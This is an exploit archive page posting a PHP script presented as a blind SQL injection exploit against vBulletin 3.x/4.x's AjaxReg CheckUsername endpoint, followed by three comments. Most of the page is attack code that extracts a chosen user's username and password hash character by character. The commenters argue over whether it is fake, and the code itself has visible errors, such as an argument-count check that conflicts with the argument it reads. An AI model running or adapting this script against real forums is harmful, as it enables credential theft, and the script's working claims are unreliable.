what you don't know can hurt you

vBulletin 3.x / 4.x AjaxReg SQL Injection

vBulletin 3.x / 4.x AjaxReg SQL Injection
Posted Dec 8, 2012
Authored by Cold z3ro

vBulletin versions 3.x and 4.x suffer from an AjaxReg remote blind SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | 2c737bff2f62e729cae097a6efacd9a5

vBulletin 3.x / 4.x AjaxReg SQL Injection

Change Mirror Download
#!/usr/bin/php
<?

# vBulletin 3.x/4.x AjaxReg remote Blind SQL Injection Exploit
# https://lh3.googleusercontent.com/-4HcW64E57CI/ULWN9mDnK8I/AAAAAAAAABo/cc0UA9eV_ak/s640/11-26-2012%25206-02-5s3%2520AM.png
# livedemo : http://www.youtube.com/watch?v=LlKaYyJxH7E
# check it : http://localhost/vBulletin/clientscript/register.js

function usage ()
{
echo
"\n[+] vBulletin 3.x/4.x AjaxReg remote Blind SQL Injection Exploit".
"\n[+] Author: Cold z3ro".
"\n[+] Site : http://www.hackteach.org | http://www.s3curi7y.com".
"\n[+] vandor: http://www.vbulletin.org/forum/showthread.php?t=144869".
"\n[+] Usage : php 0day.php <hostname> <path> [userid] [key]".
"\n[+] Ex. : php 0day.php localhost /vBulletin/ 1 abcdefghijklmnopqrstuvwxyz".
"\n[+] Note. : Its a 0day exploit\n\n";
exit ();
}

function check ($hostname, $path, $field, $pos, $usid, $char)
{
$char = ord ($char);
$inj = 'ajax.php?do=CheckUsername&param=';
$inj.= "admin'+and+ascii(substring((SELECT/**/{$field}/**/from/**/user/**/where/**/userid={$usid}),{$pos},1))={$char}/*";
$culr = $hostname.$path.$inj;
$curl = curl_init();
curl_setopt ($curl, CURLOPT_URL, $culr );
curl_setopt($curl, CURLOPT_HEADER, 1);
curl_setopt($curl, CURLOPT_VERBOSE, 0);
ob_start();
curl_exec ($curl);
curl_close ($curl);
$con = ob_get_contents();
ob_end_clean();
if(eregi('Invalid',$con))
return true;
else
return false;
}


function brutechar ($hostname, $path, $field, $usid, $key)
{
$pos = 1;
$chr = 0;
while ($chr < strlen ($key))
{
if (check ($hostname, $path, $field, $pos, $usid, $key [$chr]))
{
echo $key [$chr];
$chr = -1;
$pos++;
}
$chr++;
}
}


if (count ($argv) != 4)
usage ();

$hostname = $argv [1];
$path = $argv [2];
$usid = $argv [3];
$key = $argv [4];
if (empty ($key))
$key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";

echo "[+] Username: ";
brutechar ($hostname, $path, "username", $usid, $key);
echo "\n[+] Password: ";
brutechar ($hostname, $path, "password", $usid, $key);
echo "\n[+] Done..";
echo "\n[+] It's not fake, its real.";
# word to 1337day.com, stop scaming me

?>

Comments (3)

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neutr0n

This is fake, user posted it in our site(1337day) and it was removed.

Comment by neutr0n
2012-12-10 15:20:05 UTC | Permalink | Reply
sc0t

Its approved bug.
One we congratulate the finder.
If all of you don't know to reverse engineering source code, you don't reserve to be bugs trackers or taggers .

-----------------
Every post for educational purpose only.
Use it at your own risk.

sc0t seclusive.

Comment by sc0t
2012-12-10 20:16:10 UTC | Permalink | Reply
neutr0n

this is fake lmao. Even the code has errors

Comment by neutr0n
2012-12-11 00:00:20 UTC | Permalink | Reply
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